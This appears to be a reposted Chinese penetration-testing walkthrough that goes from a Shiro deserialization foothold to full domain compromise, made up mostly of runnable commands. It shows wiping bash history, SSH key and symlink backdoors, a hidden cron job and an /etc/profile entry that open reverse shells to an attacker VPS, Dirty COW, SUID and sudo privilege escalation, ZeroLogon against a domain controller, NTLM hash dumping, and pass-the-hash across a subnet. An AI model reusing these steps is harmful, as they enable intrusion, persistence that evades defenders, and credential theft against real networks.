一、前言
從linux打進去到域環境,到獲取域控權限,全篇實操
二、外網打點
1、打開站點,很正常的一個登錄界面

2、嘗試登錄后發現典型的shiro特征,

3、使用工具直接打shiro反序列化即可,

4、直接上冰蝎馬,連接


【一>所有資源獲取<一】
1、200份很多已經買不到的絕版電子書
2、30G安全大廠內部的視頻資料
3、100份src檔案
4、常見安全面試題
5、ctf大賽經典題目決議
6、全套工具包
7、應急回應筆記
8、網路安全學習路線
三、權限維持
權限維持其實看了很多文章,都是有包括修改用戶的,但是因為應急回應排查最先的就是用戶登錄情況,/etc/passwd,/etc/shadow檔案修改情況,所以這里其實不太推薦這樣做,
當然下面介紹的幾種也是比較常用的,簡單操作的,操作其實還是有些明顯的,可以挑選一兩個用就好,畢竟,操作越少被發現的可能就越低嘛;也可以選擇做多幾個權限維持,一個去掉了還有另一個嘛~
(一)、隱藏歷史記錄
1、在命令前加空格,命令不會被記錄
[空格]cat /etcpasswd

cat /etc/passwd

可以看到命令只記錄了一條

2、設定命令不記錄
[空格]set +o history

恢復
set -o history

3、洗掉history檔案中指定行的命令,[num]為每行命令左邊的標識,
history -d [num]
可以看到原本的1命令已被洗掉

4、粗暴點的,直接洗掉history檔案內容
#向history檔案寫入空內容,覆寫原本內容
echo > ~/.bash_history
#清空當前history記錄
history -c


(二)、SSH公鑰寫入
ssh連接相當于拿到目標主機的一個shell,除了使用賬號密碼進行連接以外,還有一種方式便是通過將ssh密鑰寫入**/root/.ssh/authorized_keys**目錄下,然后便可以免密碼登錄了,
熟悉redis未授權訪問漏洞的利用手法的話,對這種方式一定不會陌生,這也是一種留下后門的方式,
生成ssh密鑰,輸入命令,按三次回車即可
ssh-keygen -t rsa
生成后在~/.ssh/檔案夾中發現密鑰已經成功生成了,其中id_rsa為私鑰,id_rsa.pub為公鑰

將id_rsa.pub檔案內容輸入到~/.ssh/authorized_keys檔案中,如果沒有這個檔案,那就自己新建

嘗試ssh連接成功
ssh root@10.211.55.4

(三)、SSH軟連接
原理:
在sshd服務配置啟用PAM認證的前提下,PAM組態檔中控制標志為sufficient時,只要pam_rootok模塊檢測uid為0(root)即可成功登錄,
也就是說當開啟了pam認證后,只需要找到檔案配置為auth sufficient pam_rootok.so的即可,
1、輸入命令,生成軟連接,埠為10022,
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022

2、ssh連接,密碼任意輸入,成功登錄,

3、好用是好用,但是容易被發現,輸入ps-aux就可以發現了,

(四)、計劃任務
1、新建一個cron.sh檔案,這里我執行的命令是nc反彈shell,使用其他命令也是可以的,

2、設定計劃任務,這里*/3表示每3分鐘執行一次,
(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab forwhoami%100c\n")|crontab -

3、成功隱藏計劃任務

4、獲取反彈shell

(五)、通過環境變數植入后門
常見的環境變數路徑如下:
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc
將反彈shell命令寫入環境變數
echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile
這樣當系統重啟了之后,便會將shell反彈到vps上了
四、主機資訊收集
獲取權限后,需要進行一定的資訊收集
(一)、查詢賬戶資訊
whoami

id

cat /etc/passwd

cat /etc/shadow

(二)、查詢網路和埠資訊
ifconfig

netstat -anlp

arp -a

route -n

(三)、查詢行程串列
ps -ef

(四)、查詢系統和補丁資訊
通過查詢內核版本 uname -a 或者使用rpm -qa來查詢安裝了哪些軟體包

(五)、憑證收取
cat /root/.bash_history //歷史輸入命令
cat ~/.bash_history //歷史輸入命令

w //目前登錄的用戶

五、提權
為了安全性考慮,滲透測驗的站點往往會對一些資料庫或者站點進行降權處理,降低了管理站點或者資料庫的權限,防止攻擊者獲取了權限之后直接可以造成更大的威脅,這也就是表示在滲透測驗程序中,我們獲取的網站權限為低權限,只能做有限的一些操作,如果要突破當前主機進行內網滲透的話,我們需要拿到相對高的權限例如管理員權限,這樣才能在當前服務器的基礎上實作內網滲透,
然后我們了解一下服務器的權限劃分,在windows系統中,最高權限為system系統權限,最低的為guest權限,在linux系統中,最高權限為root權限,
(一)、內核漏洞提權
利用條件
系統對應內核存在某些漏洞,并且沒有打上補丁,即有可能存在內核漏洞,
cat /etc/issue #查看發行版本
uname -r #查看內核版本
實戰演示
1、首先通過linux提權輔助工具linux-exploit-suggester來判斷哪些漏洞可以用來溢位提權,


2、這里選擇臟牛——CVE-2016-5195來進行提權,首先下載對應的exp,使用命令gcc -pthread dirty.c -o dirty -lcrypt命令對dirty.c進行編譯,編譯完成后會生成一個dirty檔案,

3、執行dirty檔案提權,在后面輸入密碼,獲取一個firefart用戶名,密碼為我輸入的密碼的賬戶,

4、登錄該用戶,查看,已經成功獲取root權限

(二)、SUID提權
SUID代表設定的用戶ID,是一種Linux功能,允許用戶在指定用戶的許可下執行檔案,例如apt-get命令需要以root權限才能執行,我們可以設定apt-get對的SUID,那么低權限用戶也可以以root權限執行apt-get操作,
SUID的常見標識就是使用‘s’替換了‘x’,
1、使用以下命令發現系統上運行的SUID可執行檔案
find / -perm -u=s -type f 2>/dev/null

2、查看find命令,發現確實是使用了s來替換x,

3、借助find命令進行命令執行,成功以root權限執行了命令

(三)、Sudo配置錯誤
sudo上存在這樣一個漏洞,只要用戶在使用sudo命令時指定UID為-1或4294967295,就可以以root身份執行命令,
1、以root權限執行id命令
sudo -u#-1 id

2、以root權限執行whoami命令
sudo -u#-1 whoami

六、橫向移動
橫向移動方法很多,這里介紹一種在2020年公開的,可以直接攻擊域控的漏洞,
(一)、CVE-2020-1472
NetLogon 遠程協議是一種在 Windows 域控上使用的 RPC 介面,被用于各種與用戶和機器認證相關的任務,最常用于讓用戶使用 NTLM 協議登錄服務器,也用于 NTP 回應認證以及更新計算機域密碼,
微軟MSRC于8月11日 發布了Netlogon 特權提升漏洞安全通告,此漏洞CVE編號CVE-2020-1472, CVSS 評分:10.0,由 Secura 公司的 Tom Tervoort 發現提交并命名為 ZeroLogon,
使用的工具:
1、exp
2、impacket工具包
1、首先獲取域內資訊
net group "Domain Controllers" /domain
這里獲取了域ajie.cool、域控主機名AD

2、使用exp將域控密碼置空
python3 cve-2020-1472-exploit.py -n 域控主機名 -t 域控IP
python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128

這里已經成功將密碼進行置空處理了

3、利用impacket工具包中的secretsdump.py腳本獲取hash
python3 secretsdump.py ajie.cool/AD\$@192.168.30.128 -no-pass

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
可以看到AD$的hash為31d6cfe0d16ae931b73c59d7e0c089c0
即空密碼


獲取hash后便可以進行hash破解或PTH了,這里就不多做展示,
4、下一步我們需要還原密碼,
首先通過獲取到的hash,可以通過wmiexec.py進行pth攻擊,拿到一個shell
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

5、中間省略獲取權限到遠程桌面到步驟了,也可以CS上線啥的,主要為了方便下載system.save、sam.save、security.save檔案即可,


6、通過secretsdump.py獲取保存的hash(檔案路徑根據自己的來設定,我這里因為在桌面所以通過…/…/跳轉了)
python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL

框出來的那一串,后面部門即為原本的hash
75f490ed04ba66f04e0e947a185679bd
7、通過工具還原密碼
python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd


8、嘗試了一下,no-pass利用失敗了

七、擴大戰果
前面已經獲取到域控的NTLM hash,那么后面可以使用Crackmapexec批量獲取主機權限(通過域控NTLM hash,以及指定IP段進行攻擊)
kali下進行安裝
apt-get install crackmapexec
輸入如下命令即可
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP :指定要攻擊的IP段
-u :指定用戶名
-H :指定NTLM Hash
-d :指定域
-x :執行系統命令·
可以看到回傳了域控的管理員

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/382799.html
標籤:其他
